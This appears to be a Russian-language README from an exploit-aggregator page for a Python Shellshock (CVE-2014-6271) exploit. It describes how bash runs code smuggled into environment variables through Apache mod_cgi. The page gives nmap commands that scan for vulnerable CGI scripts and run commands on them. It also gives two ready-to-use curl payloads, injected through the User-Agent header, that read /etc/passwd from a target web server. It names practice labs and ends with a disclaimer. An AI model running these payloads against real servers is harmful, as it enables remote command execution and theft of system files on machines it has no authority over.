Exploit for CVE-2014-6271

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-J0HNTH3KN1GHT-CVE-2014-6271
![](https://assets.kitploit.com/production/public/readmes/36842/b8a2d0d9338e7fa52d16331cfde66b8efc4010ab27419b146f0b58cb18b812e1.png) ![](https://img.shields.io/badge/Language%20-Python3-blue.svg) ![](https://img.shields.io/badge/CVE%20-Shellshock-cyan.svg) ![](https://img.shields.io/badge/Target%20OS%20-Linux-yellow.svg) ![](https://img.shields.io/badge/Exploit%20-teste?style=flat-square) ![](https://img.shields.io/badge/Type%20-Script-red.svg)

# Эксплуатация уязвимости Shellshock (CVE-2014-6271)

Shellshock — это уязвимость удалённого выполнения команд в BASH. Данный скрипт эксплуатирует уязвимость в веб-среде Apache или аналогичных серверов с включённым mod_cgi. Уязвимость заключается в манипуляции переменными окружения — динамическими именованными значениями, которые влияют на выполнение процессов на компьютере. Атакующие могут воспользоваться этим, прикрепляя вредоносный код к переменным окружения, который выполняется при получении переменной. Это позволяет атакующим потенциально скомпрометировать систему.

### Лаборатория для тестирования уязвимости

  * PentesterLab

  * VulnHub

  * TryHackMe

![Видео2](https://assets.kitploit.com/production/public/readmes/36842/0664147bf475ec262c7d41ff2c689639b155db64de084051575f6ff4b1e1e573.gif)




# 

#### Поиск страниц CGI-BIN:

root@kitploit:~
    
    
    $ nmap 192.168.x.x --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
    $ nmap -sV -p- --script http-shellshock 192.168.x.x
    $ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x
    

#### Ручная проверка:

root@kitploit:~
    
    
    sudo curl -H "User-Agent: () { :; }; /bin/cat /etc/passwd" <WEBSERVER-IP>
    sudo curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" <WEBSERVER-IP>
    

# Предупреждение:

> Я не несу ответственности за любое незаконное использование или ущерб, причинённый этим инструментом. Он был написан ради развлечения, а не ради зла, и предназначен для повышения осведомлённости о хакинге и кибербезопасности

_**Удачного хакерства :)**_